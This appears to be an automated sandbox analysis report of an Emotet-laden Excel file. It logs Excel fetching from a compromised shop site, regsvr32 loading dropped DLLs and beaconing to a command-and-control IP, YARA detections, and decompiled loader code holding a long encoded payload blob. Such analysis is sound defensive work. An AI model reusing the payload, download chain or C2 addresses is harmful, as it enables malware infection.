2022-11-15 11:43:50 UTC	2	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 6c 74 2d 69 65 39 20 6c 74 2d 69 65 38 20 6c 74 2d 69 65 37 20 22 20 6c 61 6e 67 3d 22 66 72 22 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 6c 74 2d 69 65 39 20 6c 74 2d 69 65 38 20 69 65 37 22 20 6c 61 6e 67 3d 22 66 72 22 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 6c 74 2d 69 65 39 20 69 65 38 22 20 6c 61 6e 67 3d 22 66 72 22 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 Data Ascii: <!DOCTYPE HTML>...[if lt IE 7]> <html class="no-js lt-ie9 lt-ie8 lt-ie7 " lang="fr"><![endif]-->...[if IE 7]><html class="no-js lt-ie9 lt-ie8 ie7" lang="fr"><![endif]-->...[if IE 8]><html class="no-js lt-ie9 ie8" lang="fr"><![endif]-->...[if gt IE

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49177	163.172.108.69	443	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
2022-11-15 11:43:50 UTC	18	OUT	GET /Content/Afa1PcRuxh/ HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: www.3d-stickers.com Connection: Keep-Alive Cookie: PrestaShop-a30a9934ef476d11b6cc3c983616e364=9ybostxWPod7nP43PifVMefImKxeSKaZAdXmfdItKWNI2Ckr%2B1t%2BqGSwMBMouqmkFK0SD2XdZ7Cg5qtQQ9RwtmJfdpSnAaKPknzS3gL2v8c%3D000079
2022-11-15 11:43:50 UTC	18	IN	HTTP/1.1 302 Found Date: Tue, 15 Nov 2022 11:43:50 GMT Server: Apache/2.4.46 (FreeBSD) OpenSSL/1.0.2u-freebsd Strict-Transport-Security: max-age=63072000; includeSubDomains X-Frame-Options: SAMEORIGIN X-UA-Compatible: IE=edge,chrome=1 Status: 404 Not Found Location: https://www.3d-stickers.com/page-non-trouvee Set-Cookie: PrestaShop-a30a9934ef476d11b6cc3c983616e364=9ybostxWPod7nP43PifVMefImKxeSKaZAdXmfdItKWNolWp%2F7SQd8f90S8O%2FCwGohxkvf3iPluWhTbyznpM1hqQ6wpX78PX55d2aotWs5IA%3D000075; expires=Mon, 05-Dec-2022 11:43:50 GMT; Max-Age=1728000; path=/; domain=www.3d-stickers.com; httponly;HttpOnly;Secure Content-Length: 0 Connection: close Content-Type: text/html; charset=utf-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.22	49178	163.172.108.69	443	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
2022-11-15 11:43:51 UTC	19	OUT	GET /page-non-trouvee HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: www.3d-stickers.com Connection: Keep-Alive Cookie: PrestaShop-a30a9934ef476d11b6cc3c983616e364=9ybostxWPod7nP43PifVMefImKxeSKaZAdXmfdItKWNolWp%2F7SQd8f90S8O%2FCwGohxkvf3iPluWhTbyznpM1hqQ6wpX78PX55d2aotWs5IA%3D000075
2022-11-15 11:43:51 UTC	20	IN	HTTP/1.1 404 Not Found Date: Tue, 15 Nov 2022 11:43:51 GMT Server: Apache/2.4.46 (FreeBSD) OpenSSL/1.0.2u-freebsd Strict-Transport-Security: max-age=63072000; includeSubDomains X-Frame-Options: SAMEORIGIN X-UA-Compatible: IE=edge,chrome=1 P3P: CP="IDC DSP COR CURa ADMa OUR IND PHY ONL COM STA" Status: 404 Not Found Set-Cookie: PrestaShop-a30a9934ef476d11b6cc3c983616e364=9ybostxWPod7nP43PifVMefImKxeSKaZAdXmfdItKWNolWp%2F7SQd8f90S8O%2FCwGo94XM8kzh2wgRtGRJ9nsrSdLdi59jw6GotzqA%2F%2BTveez7WUZj7S8ZwYcZXe6FVfsrOzQXtIeedQAsmUAviISLMDAANABHdlwwYRACr4DLkzU%3D000115; expires=Mon, 05-Dec-2022 11:43:51 GMT; Max-Age=1728000; path=/; domain=www.3d-stickers.com; httponly;HttpOnly;Secure Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8
2022-11-15 11:43:51 UTC	20	IN	Data Raw: 36 32 35 39 0d 0a Data Ascii: 6259

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.22	49180	218.38.121.17	443	C:\Windows\System32\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-15 11:44:36 UTC	20	OUT	GET / HTTP/1.1 Connection: Keep-Alive Cookie: YYbWjqBjoLrCcX=SBgr/e6aC1IUNvJELTGXliW8JuD542AergoyMYXNvjxNLDRTdQNm8AuaxOmABbvgfv+8UtrcYH0nm8JVpNZn+3TWEfhRm/dUCR1CZolc/XwWvPSYMtjPL0bLJaxTy+IA9NnB1Bf21+p/nLECZUQKbQ3KotZmlTPMe1nDx9AvFrGbWdBwLhSH+OSwBm0uKoYGqTZIZ3usbgBMW4QV4nRpmrxN3K2+2Yb5BRhEeUfSv5e+Y0wUi7HP20VKUTWvvTmy+2YpSlrLS8NjnvoUHc/35DqIYRXDWKWVd2LKfBks9VLO8aBSd9lbpYy/Ixl+Ba5lMMnTILw8p+KXMtCwpS9W Host: 218.38.121.17
2022-11-15 11:44:37 UTC	21	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 15 Nov 2022 11:44:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2022-11-15 11:44:37 UTC	21	IN	Data Raw: 34 32 65 0d 0a 93 28 4f 0c f2 79 29 f3 a7 31 da f2 03 a5 14 be c5 ad f0 19 2c 94 d7 63 2d 3b ba 9b 10 8e 9d 79 20 5f 99 bf cf 1f 4d f3 fb 32 a1 50 31 4a d1 dc 37 6a c8 40 ef 6b 05 f9 67 bb 11 6b 24 5f b5 b7 95 eb 32 af 68 78 79 47 5f 56 8d 46 ab 3c 3f 4d 66 b2 f0 1d 2f f1 1b 32 0e 68 93 5d 27 d6 67 d8 7c 4c 71 36 00 f7 3c 4b 26 51 e8 ea 9d 13 98 42 99 78 8c 1c 63 2d 1c e4 63 98 ab 16 73 11 7b 4b 86 28 05 3d 46 17 c1 4f 14 40 02 4e 80 3f 9a ab be 91 44 1d ed d1 b3 ec 6a 31 40 23 6e 2b a9 e7 cd 84 7d 5c 9e c3 69 4d 1b 98 41 33 a0 64 fe 8f 35 10 d5 5e 0d 64 1d 59 32 60 48 dd 79 cf 4a 2d 83 04 d7 33 8d 4a 93 3e 7d c4 9a c8 87 d3 cf 35 2f 82 f7 33 5d 1d 81 a2 60 dd 63 a9 1f 03 30 f6 d1 75 d0 d3 11 69 3a 55 88 3c ba 31 76 f8 47 8f 31 fd 89 4a d4 a5 9d a9 69 ff Data Ascii: 42e(Oy)1,c-;y _M2P1J7j@kgk$_2hxyG_VF<?Mf/2h]'g\|Lq6<K&QBxc-cs{K(=FO@N?Dj1@#n+}\iMA3d5^dY2`HyJ-3J>}5/3]`c0ui:U<1vG1Ji

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.22	49181	218.38.121.17	443	C:\Windows\System32\regsvr32.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-15 11:45:27 UTC	22	OUT	GET / HTTP/1.1 Connection: Keep-Alive Cookie: BepnebNbbnhLwN=d2b7sFWgS9DsqV+ktIDEPfDYK+u4VvGDu6RH8sqyC93zoy+j0gBi669p4anprtQEM0FTQaa5CcQDsE2n3Jik1MwelLYMW0cB2ckzSva1GTO9Ozuc6BuVVWHKD0CdjeEPdE+oGqdZWNtAUHV9t6hIutCFWcQnGko8pFlEzh+24tzbK7usfHuWSo1g9glenYgi3haMAIuRx4H0rCms/1aWJHObgPJCMzJMZePW+6QsU2qZksYBpCGLUBB4No5nO9JG4fI9x4h7VheOpHD72h9Li3R3N4z9E+yOI9ADuJ2vMtr3yhVw Host: 218.38.121.17
2022-11-15 11:45:28 UTC	22	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 15 Nov 2022 11:45:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2022-11-15 11:45:28 UTC	22	IN	Data Raw: 32 64 32 0d 0a a3 43 9a 13 52 c6 12 50 53 3c d2 69 fb 2f 96 4a fa ee a8 a4 18 76 c1 20 e3 4e ed c9 43 91 00 65 22 fc 24 90 f0 b0 90 d5 32 31 7b 18 06 66 eb bd db b2 3c e1 ed 79 5b d1 99 b2 2b 03 50 8d 5b 4b dc 69 1b c8 38 73 c0 0d 1a 02 0b 13 72 62 0c 49 7a 67 4c 57 d8 c7 1f 7f 08 73 30 01 88 38 df 57 65 72 82 79 b1 4b 37 16 b7 23 5f 00 25 0c c8 6d a7 e1 e5 8c 5e f1 2a ef 74 f5 64 24 91 50 88 05 e0 86 d6 90 ba 53 20 39 c3 85 21 7d d3 39 c3 e3 a1 4e b6 dc e2 31 21 40 a5 da 9e 6f 57 f2 68 a0 39 10 23 69 f9 6e b2 5e f6 2c 16 df 4c 7f f7 c6 87 96 b4 31 0b f2 27 e0 a0 08 b3 ce 1f 9f 74 10 4d 12 c1 37 f4 75 92 4d 29 d0 c6 1e 12 10 f5 8b 86 cc c6 34 4a b8 4a 0c e2 0f 3d dc 70 3a 55 db bd e2 a7 ba c3 e2 d1 5d 81 05 65 26 c1 61 ab 6c 24 85 c8 01 30 6a 68 80 3f 3c Data Ascii: 2d2CRPS<i/Jv NCe"$21{f<y[+P[Ki8srbIzgLWs08WeryK7#_%m^*td$PS 9!}9N1!@oWh9#in^,L1'tM7uM)4JJ=p:U]e&al$0jh?<

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXEPID: 1152, Parent PID: 576

General

Target ID:	0
Start time:	12:43:16
Start date:	15/11/2022
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13fe10000
File size:	28253536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 316, Parent PID: 1152

General

Target ID:	4
Start time:	12:43:27
Start date:	15/11/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\regsvr32.exe ..\oxnv1.ooccxx
Imagebase:	0xff9c0000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 1292, Parent PID: 1152

General

Target ID:	6
Start time:	12:43:28
Start date:	15/11/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\regsvr32.exe ..\oxnv2.ooccxx
Imagebase:	0xff9c0000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 2192, Parent PID: 1152

General

Target ID:	7
Start time:	12:43:30
Start date:	15/11/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\regsvr32.exe ..\oxnv3.ooccxx
Imagebase:	0xff9c0000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 2352, Parent PID: 1152

General

Target ID:	8
Start time:	12:43:33
Start date:	15/11/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\regsvr32.exe ..\oxnv4.ooccxx
Imagebase:	0xff9c0000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000008.00000002.942096747.00000000001C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 2688, Parent PID: 2352

General

Target ID:	9
Start time:	12:43:36
Start date:	15/11/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.exe "C:\Windows\system32\XXKTOC\CASBb.dll"
Imagebase:	0xff9c0000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000009.00000002.1211814809.00000000002C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_3, Description: Yara detected Emotet, Source: 00000009.00000002.1211620382.000000000021A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000009.00000002.1212856230.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: regsvr32.exePID: 2300, Parent PID: 1860

General

Target ID:	10
Start time:	12:44:28
Start date:	15/11/2022
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\regsvr32.exe" "C:\Windows\system32\XXKTOC\CASBb.dll
Imagebase:	0xff9c0000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000A.00000002.1213054445.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_3, Description: Yara detected Emotet, Source: 0000000A.00000002.1211606431.000000000017A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000A.00000002.1211836015.00000000002B0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: regsvr32.exePID: 2352, Parent PID: 1152COMMON

Execution Graph

Execution Coverage:	6.6%
Dynamic/Decrypted Code Coverage:	1.8%
Signature Coverage:	20.2%
Total number of Nodes:	712
Total number of Limit Nodes:	43

Executed Functions

Function 001F0000 Relevance: 51.7, APIs: 3, Strings: 26, Instructions: 953
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32 ref: 001F0344
VirtualAlloc.KERNELBASE ref: 001F038A
VirtualProtect.KERNELBASE ref: 001F085C

Strings

ualP, xrefs: 001F00CD
aryA, xrefs: 001F00A5
GetN, xrefs: 001F0107
Virt, xrefs: 001F00AD
ncti, xrefs: 001F0141
Cach, xrefs: 001F0100
ualA, xrefs: 001F00B5
ddFu, xrefs: 001F013A
ct, xrefs: 001F00DD
lloc, xrefs: 001F00BD
temI, xrefs: 001F011F
hIns, xrefs: 001F00EB
Slee, xrefs: 001F0084
Load, xrefs: 001F0095
nf, xrefs: 001F0127
rote, xrefs: 001F00D5
Flus, xrefs: 001F00E4
eSys, xrefs: 001F0117
o, xrefs: 001F012E
ativ, xrefs: 001F010F
onTa, xrefs: 001F0148
Virt, xrefs: 001F00C5
Libr, xrefs: 001F009D
tion, xrefs: 001F00F9
truc, xrefs: 001F00F2
RtlA, xrefs: 001F0133

Memory Dump Source

Source File: 00000008.00000002.942140104.00000000001F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 001F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1f0000_regsvr32.jbxd

Similarity

API ID: Virtual$AllocInfoNativeProtectSystem
String ID: Cach$Flus$GetN$Libr$Load$RtlA$Slee$Virt$Virt$aryA$ativ$ct$ddFu$eSys$hIns$lloc$ncti$nf$o$onTa$rote$temI$tion$truc$ualA$ualP
API String ID: 3783574216-3605381585
Opcode ID: e9a861555d927ec3db92d1fa6852e06d9629cb263f7a81f544b384a165a1d9b2
Instruction ID: 45cec5154e90c82a0028d94a9c3a9f0d0e07e407a4a4d2f9792ebe59eeeb7ea4
Opcode Fuzzy Hash: e9a861555d927ec3db92d1fa6852e06d9629cb263f7a81f544b384a165a1d9b2
Instruction Fuzzy Hash: B552F630618B4C8BD71ADF18D8856BAB7E1FB58304F14462DE98BC7252DB34E546CB86

Uniqueness

Uniqueness Score: -1.00%

Function 100073A4 Relevance: 26.6, Strings: 21, Instructions: 327
COMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E100073A4(void* __ecx, void* __edx, void* __ebp, long long __rax, long long __rcx, void* __rdx, void* __r9) {
				long long _v32;
				long long _v40;
				signed int _v48;
				intOrPtr _v56;
				intOrPtr _v80;
				char _v88;
				void* _t111;
				long long _t155;
				long long _t157;
				void* _t264;

				_t155 = __rax;
				_t134 = __ebp;
				_t131 = __ecx;
				_v40 = 0xfffffffe;
				_t157 = __rcx;
				_v32 = __rcx;
				_v48 = 0;
				 *((long long*)(__rcx + 0x20)) = 0xf;
				 *((long long*)(__rcx + 0x18)) = __rax;
				 *((char*)(__rcx + 8)) = 0;
				E10031330(0, "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